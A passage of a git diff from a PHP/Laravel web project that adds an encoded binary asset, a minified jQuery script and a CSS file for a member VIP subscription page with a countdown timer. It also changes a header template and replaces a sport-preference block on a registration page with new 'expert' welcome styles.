z4NeVeGyX^M(~sZmzPu`rH0zOOdQjsVDB!KbB|yyvx6z0TK&O#8s`Q7k(ceEhi>*{(;-1&Hl0r zlL!9Ybs-?5z3dPXkpAw}UWx!jBp@ygG9EsNQ=EX7gG*J-*g2k%NDQK35{L4N+a)jo z_N|*o!pt@A>n5H0)H~Cln)9BQT^s7lRuAqi+|E0P9pOhzsZ;gN$-e)1jHO83LBOM~Mze;}1bsOB*mY$LzjZtG_x9MbBh*je(j#Nm@DsAqjCa`u#Kj}yFZi{>Yt5~H zq&{r(FjN}S_Ca(zw+L#V9M z5a&&CPccCf&Jx?HYUJmn6qOF>HQg1vR^*}Hn#k%MuY=aoP{dk<$x?vWPkt>LUAkz3 zuU5B6^-^x?Bm0^pS|C*QC{(ewgi<=X8HRz+_9ELe_FkT&^c|(FOJ-%>%x1ikapV<5 zI~XZkEBfG00ODbo3Yj%4js~3Fr4U*p*=@ZpTW7P zimR?+Hy5}oC8C>(LW~S6eb@k^n;Akn>JqU$Hkaacrn3h!B{b%F63Xrvm zyHDbgLfxKBnp1>%s{B$I5yOVfa=fL=`xr0!z(Qq1u0M#OC^Z4l?oV#sBhm^w`)xW> zL-h;@6KQ=l-HC~Q9NxM4sqT=`0Nv(cw(!K`^pmTO_3qS}ShbW&ZTca#ayc8{l=UiM zmhjg-qBjVL(^oTW!qc@uvFpjXll%M+G}`=XNpUI?hx}z)b5u_1EhFcB1!{86-hBGo z?lO%`Q$F!}>q(nKg|&1V2iGa^69Oe`ug|-Ng*-bqV+5Jk|04NWc>hF_F^tAYuV

98UwZ8@Fi(+Ozi; z=4|qz?U~>Dq!uZYOT^K@!lCB{gm|?b>w~by{A~0?x(wS>OND}t(zkD<8CS+LUmt!& zvW{jIeP=ICqW!MuJX}D&WQ*?bM1Wy!a#-LDf=!Wb^CziwPO^T_Er}32PwdNJ{A+xB z0{aQ-tRSvvF&V_GCXVU!N%dvvX8-T{38(vXS)MTDBV@QB@hrpyg)17v4Rh@^EY6+# z6d!lp_z6~*O0J3sgQ|w*`kws9HCIP7vu*JfHNttioalLhc6>RvyAlR!-=&nq`{8yu zzCsUcyx~Oo?^0jAlt2M4CS$AF_xxHMljPe?XJQEGKUX)06CEqcTIdT_lFhi*&jt`3 zYVvo#NcJwdXH*RBUJIQ$5zU$xQD-@Kv(&IRQ4Idz&K}$g_zstKBQ1g~fOu9T_=6*# zwcesauqb!no?km5dUfQ>Rp~Lhm@^XkBFs&GQ0QR~@i3cnKTJmg3t5*K@wiUXYmHK* z@X0&i(T?cnjCM_wXL+kdJ{V`T=?u}3)Z#>i8H!`3r^fU}zO|?D6wy`HK}9iqHyBmq zeWwU!Zp)#La(OO@hR)&?NZXQ<8OzEsov4wEZ56|)AsV^S%E4TZW8&FmI#m1AcNWka z?`oG@abTYBRw7`wG&9CGp>3qy!j*MAL{RT9>On{7tj2pKi7lzdrCo_FH0}}_5>h0P zCE=qWT$HN&=$=4ckxOwXujxiTx+wO(085IIOZz;pnGrAlRIZ`-YUz(-VUpHK%SEtn zMma_90LNqM0Gv54X^r5TxnU>^UrOSWBPnFdj%XpPMW6LLDL|62Z3yVymkGaA#52Pt zI9(ecN!d;)O4;&5i^WF2@O`67mIL{$9nsFK^kvJoOrGRAp52+#jf?Nl3Q$Ozmt@fH zwY$mv5W|}ht7vN*#o)uE9+qKGSM%7x>m>gkWXvo}S#{Y%y3(ampZx1p=JMmUOp{lG z1R0%XPxbzz^6Ebeuzvj-l0DdPP?>$#)`@6$vAVLzfjZ=Mo_T-*t=r>&29O{sPUl;~ zO;>Zb9L$=ONO)&m77IzWtPH$Nwi)M`uYiG{WGgUB$!{fZl!Uu?-tR9X7n^t8i_hNm zOu^f}@eFD_EWGZjX*qQp)}<&<5XycB|ERbFl0K_jPsE*)%^{9~ zBi4<3aKF1$RK`*4Z0gg#aSCj++R96O{`ik)X2MaW5vxa=W&sJ0O)k6Q0kZ;Z>WnJY z64;+Awe*5M4DDCzCSVzIZ12rUZakg`S{#!qTwj*hc}F}r{Vda2_iv`{whAN^I>Ixm z>BeyV>SDZ*mFm`Zc&7HHHUOfLPjLm_;=?5vEmZ6-{jzZ@eT3OIaxh^$37bv`l$DQU zQgcMH;#5!gfnSz#?NQV+g^)lQD+*ybL6J=Q&P~rPH2jJD&##@}LrVSm zS;i0K#9y3uBXaZ0xHbAmH%57abIMUF=A5k@5Xc2@DaEATTQw0`MNB$O}G zlUuf}RHRnz=Ic3d%p-64Ons@>TPD&|onzQQxjdsk;pD(fU;G(h_m4l1%5r}KvbeOW zvXx15ySUb4PQf=rZ#oZfcZRF#Uogk8L4B+4-o3f6WlPC{9ttZ_WY|h8q8}CKO!wr5 zBqbC}XIU=#H$Ty8Z*uh*k`u(*mDV*{kHZRpu8zc1l8t(1dpw8n-f9k!KDnjb_a`*_ zTAw8C32C);xG50K?>=L2RR9!t_T<+cyJ4>CExRYWrot=b-7>%(d0n33D9ILfR{}qrkuHdWbuYQ- z;?-I3u?YiFaq9DGPtK;MVJnx&+7tJ^|L(t&)hGUcmHrapYO^CxuI)8&%hKF|#hPn@ z1^fQz>+6XD?nG%)m5>7>Ab$po8BIoP&HS&2FRIMt__?B8WBcOX4Tqk9zc#otuMIuS zysAYTU$oH`yVOL@;Jt@cm$?UVeX^Bi?haeP*);l=PpmI5@v`)Z1&opBzI%XWCuvlB z^4-_3`FNE*c;0l5z7YR^5zm`vz~ACuE|l3MEmc6uOaG~2k#2crtYJdiWaKOJ`e?ko zsQXg<*{%|Ekk|f$WV8C~^eu*&Bg{GDyh)5(MWv{?!^Zi5#E@N!s1{mBhMyL)x|(&$ znwC9;@vc<)TR7gvpA)wIOETvsL;CVF+oHTlEl#PkUObhsif)96YQJ&;1~R8Z6Ok%z z27S&v^u|^4eCz59v!z!jVurVDKL0e#-fN^_dO=&us$y3LiCQbcs9INKH%xZ!KD`<> zpFgkY>-vJ}xK+XY8I-vHv56V$0L=O&*uQ7>tEaBrmzl8m`LOI|-<2nUU5m5?qmEzo ze$K*t%}b#Qf~zQEf%do+tg;;;7uBe14yvs=DpS`$l%rrq?P-naia}XEyU)d*LiP

2NS$nK20lfK^IJHQu2U3i9KexRGA6kuH%S{s{8DRIYkl5De zkHFN_O51zKU(I!~E+9-wGqz0GCH8&AE4CYLED`#>C16%m&%cc;D9lDrF`6na*a#rt zn3k8#oN({ToIT^0#!S2^d@w=$ne$glCspDsV7Vtqy^eybmdkDgR7o(OA2@;AYxY=C zMe>D|@x=Z^pVJb%o#Pqe3$e8wcojBuuWP_b!Kb{uauHFkSlvv!!Vc3OCW|j;Rg|e) z*4?ys7NeGV6)yYnMT}5;$(6Q_mm`!}r&6whNJV2r9m9PuJ|n?t96HsT-~O$t4YxO6 z`q9+z18vQnVYVuyCmsL@4tymLSlfUrOp_SG;9M5)3~-WuxzL#JIG4tWzZv*T{;l*6 zfs`ix#F!HZzE-^8PW;TMQD$ygUIAgS*kz=cezWsPnd;(f$8#Se@(b66jdZw0z$d(+ z_BIId;U6Lb1D%vV{`f-u4~b!t`RMxg!>eIDs?~*c)L$Xtjoi0+jO+OL<1M^F?NZ$q zih?XXS?;%!!Nr(6a8xQq_aFa?^E?9_EYA?38~B98dUAopt5|i1`CsD|Qwmq)Y8_P6 zx&l>;?*CEDvt1U>?Roi5p&_i0XvP*@Mw3wNgoJr6vecn)+=U;e`Z}@h_F70@dYuf` ze8A}U#lCj6X_|LId4QN7yz#~yq1}XmD=4-98SpmS8%XQV%up!qpf5ysb=KQ5W%W~v za}YMmtik182t>vL_l6~U*t7jAv>ms4Gb_^acD&@7dF)ojt6pJlG`sB&4t_9R=a58 zA|TWpi?DemRvj@==BiUJjyuk32*)2h_AQ;N8L#FP*N@3*UPH0v6uw=Rvx*+{yfXhv z(#7!^f{aVfN-_W!VglrdSh5=6_`7xqks6WWG_@BxtktoX6Gg*iPq?;hkV}m5S;I67 z-nhn(RGua76=YYiJ>Xuw8-4~vm_X!o_vux#C$pT6TXCXt%rU5bIfmDGC*GcNzsYMR z&No}XlQpASfsN+G8FGtK4p0s?N>7gFKN`C!483K(YVI`o&cLx|bR0PNMbEgUdkG1OvZj7zC-Z#sG94EhX6cSHWb5*VTfaG=lj4-zK zJ@s{Umrfb|bax5r4urGFoV_7;LNL?L+!cqbMlfQ`*DhV>K)fFcKpof(zjK+vW^6Ml?iii0aIn&GGjGP8F z>4lSlZh%Z~E>~d)Nm=fyTt!R1qxssung!APhNR!hlX*jCgF}#dNH@>q1@c z5-%i2m0g}*w8GiMl}5_z2mZiGci+bEh@7I)84D;gw};dIMugGOGhl`Ip>x)x$v&j* zPOyr}w>s@l;u%UC#75u4hXG%d&7=6s1*&_|o9M2OF|-|?jKbdp>a|#$Q?v!Ec=9u< zwlVT_=ZyMjjD}D$^fKaeou|uBFYx!%?CVBHn(9`|Xa2;@Gw-P5F{goP z*1n$s$Gmlw^8|kyI=we;R!wr79Uo?Mju1x@6Ucsk=1n?Qqgy*r*d!1 zt&XsOa)heztKFjm8S#kG!Ra1^!_zL~MBOl5_cc3Lcys*a->DWGNGy>X6>G~1kRA#p zZE@?pgbs6Q>_&hUl_vI5>8UQNYH<@rkxGM^mD-xXnPl?N@CBm`lD$ zsgi+J)fo9RppTm-k~5=zLR-Sq4Z25fUZ9sUfz;3NBMwR`*Y*6TWo1H&U+|#>|*1<%_rED(m(&B$@X}bTWoZDBx3=o>P+rP7>ZjAJEOG)onc^{lTS~EhoF3c zUsv`t#aTVfOKeFOd-HyIv=#Bi7EtxX9j0B3`KA2>isofIC+Cy3L8W7o{6&0xxUbbG zk?t)c;%RP(bPhlPwVPIgQmgcIdB={j$OUQ!H4SZ%B9~|_rC4U_gTz|u*KAVuE5`~ zE!_+Q?ZLw!O>-!9pB=0#A{e<5-fe++Fuv z&NBc)$MyRm$BbZh1ODAW+7+@&!S2QNQA|SeM&`(YXY5-a^o}{y5fn1d*ESBd9yUd5 zW2X}$O?{l0uTn_DK!M=|i|CL_ehK`OEM<%s1-`=7`Q`4@fK+(4fYcVY0MOFV`{r?Y zZ+v`SVybqm3w3;QDKuv0v^_Vx;#m+b(0=U+m)E z*yDb9(h$3q!ob~{CwCBuQuqm?F{#XY&kD+r!?&@Y+e^ngR@-?Ud`7Is(I^>xd~!I} zM4yP+-Z*0loU0zuqrbWUZq06ga<}+ZU|_dqF-kj@iabcPfwoZA2;86)05rO1a76JL zk<;kL{E(h zm9m#OU^@jiuDd+kYJ41pGy5*!X*9$To9>;3w$1E43U;0^N|VaVqG@OJ0o}Sh1L!Te z8k*C?OJ<_wWJiYi$juufgleVTs90~Mq%jXOXTlv|cu{JK2b}NYQ_>0rRdv|BTAPNh z>(4&7CYd)UGsLp#mVkU4U0O#`U#@1DfG;s{@Nfu-e?#d038I4o;J)0*09B2h1LIz9 zV5ZJDX)ZYa|z)6-q&{)r{N*YF({k{g*=>@pb1&p2Jw8zonl7$`qrrJ|ke4mN6 ztIVuARIl8KCf&D?-$@85HAJw<;1D0=G}ewDroT=P9hVfJIi=VoR#Jye?#*K#?295H zH4)k+1Iv;=BjPL94VZE2o`YdGA&R^1HBpq@ z+(!6{_#Q%+ZvjEpH>qo5(Sa-(yiGXj3(Gbnjcweh7DN53d#JjTGY2f8{An6WYM!Y2 zT;F)@LkbHnM&QuCI%SZ*u4O3`SztOpv35a()fLy1A;L>?+7@xNoij zFFoZu3nD{wkDVQw*-}N9cXr2&N`L!issx`B+nxYqJuFAojJa(%&n2M=a*z~RW=GG< z{zVH_kvwE7lwcebm9k^*3|G;VJi*T&7tAtx22Yq!x032jToGe;@U zs>4q_GT0@!^*NbCOg6ub`6rlxFE}tM=m$#MT~?#fJJV#4v~IzxgL5APM3%BN*dlqyhUp%Y%Xi880tBRsuYV(?fWp= zhp)c|Bo3)>iJjc3B^g({S8VA&bWr0b+l3l1zy*gindWw3*40MQu#e(MU<|>T+ckYC z`4ccZ?hVx&R3ajm>(@KuW4BJ!lBi? z2#0cOgYcTu_BBs|egZP4Lr3@}o}bQm!_Py6(0(Ik_a+>Ku@PW(EgydL3}fR`EL_US z92bW@JZ-|2WR4KgQI$nl5y0&$WV*g~%JoW|T?dg7f|Fx(3C54h!cBs~ByoguZ}6RGrWH z&wyik=xE5MaUJ1@I^=~ql22OnIk&rLN<0d%!7XOHKx`S+a)oZ74{3wL>MYHJQ|$MI zd1Bis;qXX{MKb$YUQJ9rCi2i3l@$b+N?(DH{#WR;+kNcGNSGoVq4K4WT?dl(D~xd7 z$zIlWMSILO4PK|fsW$dOuCQpa)=M1VOqyeJJjvw|eC3dD)Q{}FGG@iDHTjUEpvD>M zVgioy9%3q#=}Rp6cMG)S^;j4NZwKHeeqZm8mOle>v{F<)y|-^NPF^o;$Q*$BgcIoJDxUTn&?wdY$7yhO(_pfR*e0w%e&OY!AIHm4= z2CTmCjYcYPGuV9X_<=3)2s{{(MJ0&%?vCMFY$GoWqA7|}-u*IiHK_3(A<>XA7{Tb*nY5}#_!yMT4HI5(j zP%lKlK-29=9)-@sKXKlw%&4#tgBL8DxVcsDYc4;4@~XqwVC9OeHNFgccpcRoqYCEo zGYk^jx2R?jYS8tACw$T*?dD$2<{T}v8p^~2--C|#oy3#ntF*+Uekcdt9~LV+tubcBY-Q-Cyt9^65TKdfB4R1Q?M|rLX|mWSCLa)Q{_To!2G>~ z)2IXEYsn+WWwKS(^gn$PXa9zE;)#<%`PlLluiaYp+HjUcxAgi8edGmlhjQ}(HqF#J zCQ;>WV3>(1SViF((B^?EH)K+H8k!cLzOj)1S1-`dBz1M7oJ$*f*saUh__gQs(lg+@ z3xSV`MQ+cUX1NeJ1R*yJ78RC6st)ug50DQa2rGpaxMI4gzN|<^F}B|4_H>kX205#I z(;t-(k;2KyD(t!EhJ0s#os@l)v23c=ZgX&Jdx44~{@TiawzJqZ+gvz8XAUd@Od}Kc zA(q+Z!4nG~J119HX&mXF#vb_$Fft*Nb!uq%+8c3NS2BRYLTXaXX6iGVORfL5>H;0L zdY#1Wiu(rVu#2w;pduZ#9Q~w{yYF#udNI?oD#ApYZt%p!K=Z^8$WURNv%w@m7lQQk z)?uv}gka2WJTSsb`i<7_cuK&06ph0YF3G()54`R|9Y{Z62$ z1$cmnr;$Fw8!o`EwNS*72)Y>KrG-a9Ed;BUa3iob>@=HnyT_ivx6xhnUFZ@}@N{#S z5Yrj9dv@prZy1^KDDopnB~vgIQOgli*o{#b{>H~P$Fq~(A17BQyF9zRl%MC)2=ndA49rgCLT|yBiM|? z_QI^!Z4OaBMmd_}$oIYZA^5rgtf`-LU*Ri`8kxD8-z^eQEL`|wb=;UQi#o(_(`^>C zQuHB1bm2bxlAR*}c!~I>#HfD%^ocfh`NS(Mb#98oVF$0ru)1hXJgo^>niGOR*SJ)_ z|MvK+8-y(T^IF~a?OzEDnhjiw? zfDLQ`;h+%S5?>1+F4=WcN@z2N6ji#631pF9Q_tEGN6)VC^r0ty>FV1G1N81cDMQC) zwd}4!5hf$a0z;DUU?Xb@e^5xKz~8ty?WQA4eju<}(t(lpL%97OuI8qYLiy&#$Kd-(@ z+Pv<0XS|_OmT6h|nvKmP#M6+jE1#18cys~_!FcCw0+vK7gUiw6GoaXFN1Z8EZ${;M z_8RnAB0bncp>RYAunQ!YYjB@^;LS`CdvR&%x5Lg~`khNh$3k4p=BXA9F(na{>z3_)s1`@~ z!o9D5M1(mQZGSNO%8~av{ZaW8|NV%2l;&{fpexbUO_P2RHzD)5arDLX6N`;cg&!Nx zuB6pDTh||rZQ&AGdFgD1Jn)M=58mY2K=3yTNO`C3+a`tJ9Jj)bLt?p}8_!V32>p6e zmkFz?-`%6UtVQroh7AOAu`BPu98?|Vo95g7es$ry6#ea@mBiMgSbnb;p5j;REnl_& zD&7ZzR^kcaGT$&idb%hn*YSb&kx2ahrY|TEt}(^T=^e% zxfpwE?{UfHoL20LvU;%z^nDa>*4PQOhxut035M~17YoE*jV;F9yx>oDwWD$P0Xfhz z7(cJL;E#ZEOPvDw94vD6#w;q*<`njWh%+L2$y@#Ipgrt*H9t&S*$j&$z0WRCD2ZS_ zI1N8el}3?AIM>xB8Ou2vJoh&FF;`jFV_Mb!r3N5Re ztUeV12bLn+Ao6Y>QEu*lv!T>jmHd?N1AS5^^?Ta{se*a?YF+{am;W8{u9KSYa!^>H zS`rZJfGq6D(#o(cpzJE3DT7j0Zzri(bZxcyF)Smrx$w@w7+nm*q$A*I+L@SGk8wrS)1x5qB--7)EoqeR{Oz z8Ik;}wTiPj+~pC>JZSQ`;=4&)sqMtMmh!fG#$`x1Q2MkGQwbDZONl5T=PK+Q7B{&!+n?L|-;Bh=*ImyA$o$h~>k^aH(g+6F7P2f*R zcNyCnx(#_^Zwtggqi*|&FQ-RavssAG{Ybb|h4icP%=suhXIIH4Yd_GUWk}+1ak@u) zyFVqe`E0{3*x9L@9oIgMZFAKU*eAH9-DHCKGRHwb2G>wl63aXT8W-Y6+96Jt0+pdQ z?}7XH@@gd(#83en4@l*QK(lDd%*%DsqXz@y8Mn`SK&DZSEsBj1Z2N7esk(RlM>$%e zG52j_;g9PU8FL3VH#gz7q0?_qu4T0LyxWb^hn^ZSH@0p=sek?ni>5wudI^ksnXwx- z-YyH6$xsljKTyJ3+n^8|RIj|p52(ES7WHy+coRT4k|he$6p_PkS2VA$aLiF|a=qKQ z3O_WQ)?IYKVP#AT=eubB;6N1J17!(H$Jj+-LU;z0|M=~n&ogIu!AW!s6rSr7(uuMXXpfKCW0g#H?1;!G> zH=b~QUZ)lVdJQgKR5{`xV}A6Va1eSS!f5^iek&r|rh4Q$KDWwD5X?zs%vqohjBWt> zNaMi}ySrOSEdMg7q+n=}a|MP?z3QJJjV`am^es=L&{eRraF2xznUe+^I%y>%NvODd zAG;ZL-!#SQT+hLWB$dHg5R(B~$m;84iV$!r4p)Mn(lM|#REhC}!kB~-dg%A*q*|PB zYGaH+Lw~-n*5{EIh>p+);r=w9K^kM*RB3YB#p^*~lM(;SB#;%m#}&5wZSsPx5F<4# z`Tfy4N#-5K*f<^`D|RZIwI_OLZ#YLXP|yW}X)NA%94?s1&-*1j(w#%EkEf>5;Jj~d z(!jwfw#3S<+f}|vgN;Hkq&jdU9%zb=&1fb#3TrNR6Ok_o+65IPwcLg=z6rW?4GEQ( zD8xwD?}0gOj?#x<>%|6>s5lFQ#?7(DOkrF43dEdPEENlFoLq>NVNO>*-c6)FWgf7r zrR&!v!aDbFcVK)c~8shJ%e7y=@nj~(X%`643FR{=&c^9 zA)*KwvfHxCk&G(B*! zPW*GURn0l`z6m{JsS_hY%_21A#1sBzEXk>Dbp8U{NJvi)`x5{Ca7nVy(lZ6&PQ1bG7=v3;(qz1Cchotw8!A{9G@7@@6iuBOz8 z_mb1))>@#p!<*oHKcuu;p5;@>@5-=thFk8LPl*kis~7Iagd0YO)4 z)MB1c(h;9RjH80Rc3okKuHu6GZt_#En|63KMKTcxk^?6mq0(;RYG!I{0 zif(S)7B(SOQEbp++Iol=y#*)BR<9~iR3bNmLG5H?x|fWF2ej>Dv-uk&XWRoXhOdGrA&F(&mZ2^5=f+_DjHdMzY)@N z8?{@jrDP|l?jxz>7)5MVm~o=GROfG(qu;_lBqb5346FstgPqC;R92_dJ0;@D9QSfn zV!hH^7a*nuTgfEBgaf1jDc0!@2-!9kw5vC54r-MEBT_hAA zuF&ytxHY}^72Mj?dVwZQy&QNa+=^YUV+!lnOeqn<#b!oZEy$x1S|vTTq!O-@N{`qw z)}7gb5b<4`GkvrhCj{(q%bl5<=8qD;LVx?K?J^ep(fIy>IpB77B+;w$=4$iEwQX5R z%grFWTsLcb)ZFG*cUj15uEY1<&f*-sM0&45V6#lI9d}Iqd$+nOvJ5rx>Gk2_|EE`k9QSqvCsX7yO;+unOJa0*&cBhOKw3iiQ59i#u4#NKst`Q_+Q&=0 zBVatIs>RDXN#zZfR+G!z9MX{LD*B3$Lc3XY*F<#n@af+hEC9S)O~ujf_B(Iez@EIq8!2dcI?u-bPn5Ws2uA zDgUFt+7nK;e9iidPz;M{M^S5P{aREZv48_Oy6e|R2t|kglX1>Nu@-6HWjId6`cnT} zyy+>QiLS#oM$Nhf30_yd)6Z+8PFG`YY>hl`K6JF+t>X1-hXse+i;NBBZw6<>L{^eRS%V+wl+mcsS&F-sg@c=LlP^f9gd0>^y@)U zZJg=|LD5pHMxB<{Ds}2;H9GjxbG~ujabNGR=X$UAy6zwE^E~%Gsyy}I;KF#<;@CNS zFHo0qYf@F?b6$>|?siNy?4;IlN%OM>Wvc))-Vj~Q>IBR zJo#U|{EpvaP3uq<_)4>gX-ZxDHhcccVj8DrfB9+)jkZe1IKvlxM)Hz^=eh&!oI@5! z0=BjtZkLd#V_EUbOA1OD*({guPFZ2bBrQ4n6Ig0zgmz@@0|U6~od@eZdj3wx2D`F) zLV)GI3M$F*H$IQT2Sb(pZ8)W3#7gu9D-?NVm9F&?{>y42m`PPOs)~jvTlhIG8V=nR zL%!s*5)0smM!|@hw{>O&G)9@;v@tCH4zpRGzZgk3X;alI^G~we87v?V;_}}{>jp1sQ2RQDROET7vivxXqi)SmRaZHwFFqP z@2L+7dI_@M^DxG1t^=jho1e@tP!0hShk)`9Zn}i!J-#vM>774!`FZPZj%(Mqj(w)1 zf2k+7n|1N0k+y4q>7SkdJW0HDL^d53Ri;ogKmOXM5A*a6f9wwEXdkM_2+nvN$#-?P6BKJ?uHdYeRkDev@7a13NdY3a2#By$5RblOr4l^|vU0I_w6# z*+c4jRJ=l}4DNZ<9w*mUEM@IV|r+#e@ zf3Ht2aB$5ji|O^aw&>%C*08y-Gcx^!Dt=`$L;0E<%`>VXK2_fh5ghAd-Nfn-%H`M{ z0utY$rMIn&_tZi>mhwxVFVs&+ln_!iTj|8rlLV&?+s2-0%A*GM=Stpq!}w+aFW>os ztL-XM4uwNK;+ucl`(@$eZAPfO}{Lh0~GxyO#F2|Dal=EM{~ zY^)ak=#<)s3kndJyJLD8D2LF=@pCjayZTJ(<48ylwCJqds)xL^UCK=G$iJ>sR>Dl0 z&|%?x;I;8m|D)hw20h(~&8h4miqK@(2940F6Kg_A!JP;(2YBwTj_AaPa^JX71bupT zG_7`Imp7{Z;jWI|g5O+c@7%%Q?~O5A-5Kyc0PAw#@BEq%=r@%Ie}oLVy~+nXD(>B7 z=W;xNQ6he+Y%642QbDvtgF`7Y@7KHaX63ZUXJ*_PM*HNZOOgPl=G*hr2Q{60&!oA< zdIL$Wa1z7^ILZyJYN@}tEBrn#J9$fiJVXa za>jFeZ5$N@3pIg|=;N-k8K{Pw_pZWT_Tec83;tGsk9^}|$?k=`G+&bnpT`N>)r$Kj zC560g!uSNxOGd)opAB!Pk#fK3`d-9_i@DB%TPmZzk-FvQstKq&M(f=9K!{G)x@3IBp_^Q#jX0t%)IRoQ!Y|`vs}#&8xnhG@B^9+I*B4t(QqJs1 z3rF{JrY55gOup1Fr+Tk=i>o>*-Yzaa_}(CCHlkLT=x3jz6w{QdP%VlZ(2iXFoOtPp zF*?|^*4}Zm0L3tJGfzl78OVfx#I2*)guu{cP2Mh*8by0)8UD!nQAO6lN+k1i7mZ9!r#|Uz&|cb1NtABXsk}%n{>Dw;b?J(kZBp|? z)e3qJ0Xog=N!Y6UDXm_oOE1gwzZIN8M{962Vg@*_)&CS1^)E*ASmzS5|=vzvdqpr-hnCkE5+g2qVPz**UK4Ra=77M2ObSypooGM?T|UF~7EMff0GVW^Rpowh$17&t{DLs#(#? zm{5$WcM8i2?Iy$pDtS9&*7?uC{43bbbr{>6N|;cdyL+`^wipy1Awrg{)0el+x`&6V zFL4#kzK{8QmSFca%rhzD`7+pSUhwFU=70|4pHPk7^BqX-w#$(sz{7-ah#LBgwg)^b<=V4Ta^l55Yh06&uFT4roMYAv4eZ2}) zPvySJI)9!|IM?UM>70ly&t<($tw;Key}|OJDQw?Xrn(HWSMrVI=CQk^>17NUBp*N_ z$~nyf1}1;8WoH*e;s4wL13W@OL-Nc&5)xQq{Nw4GF=tbJHZFsEraV>R*N z6G8e}#D=&HF-kmEgvA9>F|E@rw%AO29?_$}sxd1L#_trKCUyz-JA$Ou;4P=X5UkB0 zN6VC)1y~>aiW8PoX>=D){b~LdiHNd#AL%EtT)MX-RH1pLtVAsvCHQ z$W=V{WC-5Swhx~OSY{eSl?roYvk?c|8{7uhU$l#x9Y882R=#>7dCFlT=r;nm-`p$i zl5Bv)W#?>n8v}{-eJUhP_E^%2aNf(-5WS#{@-I(|)hf?^%2t&qc)Fws`)W|UoWWM$ zfk3RZ9=ehs$BS{gQi8BRO_Uj+=k_gGAt3m6v04?t$J+r52cbeyK+l29lPiEW4RE3* X61?6<`r@cFww%s#q-Z&N9?tz6Cp`mM literal 0 HcmV?d00001 diff --git a/public/vendor/Member/script/memberVip.js b/public/vendor/Member/script/memberVip.js new file mode 100644 index 00000000..5343d8ef --- /dev/null +++ b/public/vendor/Member/script/memberVip.js @@ -0,0 +1 @@ +$(function(){var t=$(".vip-list-container"),i=$(".pb-member-vip .vip-list .item"),e=$(".vip-content-list .item");i.on("click",function(){var a=$(this).attr("data-vip-id"),t=i.index($(this));e.hide().eq(t).show(),$("[data-vip-info]").find("[data-vip-value]").html("-"),$("[data-vip-info]").show(),i.removeClass("active"),$(this).addClass("active"),$("[name=vipId]").val($(this).attr("data-vip-id")),$("[data-vip-right-list] [data-vip-right]").hide().filter(function(t,i){return 0<=$(i).attr("data-vip-right").split(",").indexOf(a)}).show()}),t.find(".nav").on("click",function(){var t=i.index(i.filter(".active"));$(this).hasClass("left")?t--:t++;t=Math.max(0,Math.min(t,i.length-1)),t=i.eq(t).click();try{t.get(0).scrollIntoView({behavior:"smooth",block:"nearest",inline:"start"})}catch(t){}return!1}),$(i.get(0)).click();var n=(new Date).getTime()+1e3*window.__data.countDownSeconds,o=$("[data-count-down]");setInterval(function(){var t,i,a,e=n-(new Date).getTime();e<=0?o.html("00:00:00.0"):(t=Math.floor(e/1e3/60/60),i=Math.floor(e/1e3/60%60),a=Math.floor(e/1e3%60),e=Math.floor(e%1e3/100),o.html((t<10?"0"+t:t)+":"+(i<10?"0"+i:i)+":"+(a<10?"0"+a:a)+"."+(e<10?"0"+e:e)))},100);new Swiper("[data-vip-open-list]",{direction:"vertical",slidesPerView:5,rewind:!0,loop:!0,autoplay:{delay:2e3}})}); \ No newline at end of file diff --git a/public/vendor/Member/style/member.css b/public/vendor/Member/style/member.css new file mode 100644 index 00000000..30a40eda --- /dev/null +++ b/public/vendor/Member/style/member.css @@ -0,0 +1 @@ +.pb-page-member-vip{background-color:#ffca92;border-radius:.5rem;padding:1rem;position:relative}.pb-page-member-vip .vip-button{background:linear-gradient(152.86deg,#03010a 12.8%,#010007 86.46%);color:#ffca92;display:inline-block;line-height:1rem;padding:.1rem .5rem;border-radius:1rem;font-weight:700;border:none;cursor:pointer}.pb-page-member-vip .vip-button:hover{background:linear-gradient(152.86deg,#010007 86.46%,#03010a 86.46%)}.pb-page-member-vip .vip-button.lg{font-size:var(--font-size-large);padding:.5rem 1rem}.pb-page-member-vip .vip-text{color:#8b5f20}.pb-page-member-vip .vip-bg{background:#fff6ec}.pb-page-member-vip .top{margin-bottom:.5rem}.pb-page-member-vip .body{background:#fff;border-radius:.5rem}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box{position:relative}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container{overflow-x:auto}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .nav{background:#fff;display:block;position:absolute;top:50%;width:2rem;height:2rem;line-height:2rem;color:var(--color-tertiary);border-radius:50%;text-align:center;font-size:1rem;box-shadow:0 0 .5rem #ccc;margin-top:-1rem}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .nav i{display:block;line-height:2rem;text-align:center}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .nav.left{left:.2rem}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .nav.right{right:.2rem}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .vip-list{text-align:center;display:flex;justify-content:start;min-width:min-content;padding:.5rem 2rem}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .vip-list .item{text-align:center;flex-grow:1;border:1px solid #ffca92;border-radius:.5rem;margin:.5rem;padding:1rem;cursor:pointer;color:#381d00;width:12rem;max-width:12rem;flex-shrink:0}.pb-page-member-vip .body .pb-member-vip .vip-list-container-box .vip-list-container .vip-list .item.active{background-image:linear-gradient(180deg,#ffe1b2,#fff9ed)} \ No newline at end of file diff --git a/resources/views/theme/default/pc/share/header.blade.php b/resources/views/theme/default/pc/share/header.blade.php index 06989ab6..85482bc2 100644 --- a/resources/views/theme/default/pc/share/header.blade.php +++ b/resources/views/theme/default/pc/share/header.blade.php @@ -1,14 +1,25 @@

@endif +
- +
+
- +
-
-
-
-
选择自己喜欢的运动
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
- @foreach(\Module\Member\Provider\RegisterProcessor\MemberRegisterProcessorProvider::listAll() as $provider) - {!! $provider->render() !!} - @endforeach +
@@ -532,5 +626,83 @@ .tag.active span { padding-right: 24px; } + + .expert-welcome { + margin-bottom: 30px; + padding: 20px; + background: #f8f9fa; + border-radius: 8px; + } + .expert-welcome h3 { + font-size: 18px; + color: #333; + margin-bottom: 10px; + } + .expert-welcome p { + font-size: 14px; + color: #666; + line-height: 1.6; + } + .expert-database { + padding: 15px; + background: #f8f9fa; + border-radius: 8px; + } + .expert-database-title { + font-size: 16px; + font-weight: bold; + margin-bottom: 15px; + color: #333; + } + .expert-database-list { + display: flex; + flex-direction: column; + gap: 10px; + } + .database-item { + display: flex; + align-items: center; + padding: 10px; + background: #fff; 